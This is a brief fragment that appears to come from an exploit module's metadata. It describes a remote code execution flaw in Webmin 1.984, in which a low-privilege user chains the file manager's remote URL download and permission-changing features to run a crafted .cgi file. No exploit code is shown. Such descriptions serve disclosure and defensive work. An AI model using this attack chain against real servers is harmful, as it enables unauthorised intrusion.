'Name' => 'Webmin File Manager RCE',
'Description' => %q{
In Webmin version 1.984, any authenticated low privilege user without access rights to
the File Manager module could interact with file manager functionalities such as downloading files from remote URLs and
changing file permissions. It is possible to achieve Remote Code Execution via a crafted .cgi file by chaining those
functionalities in the file manager.
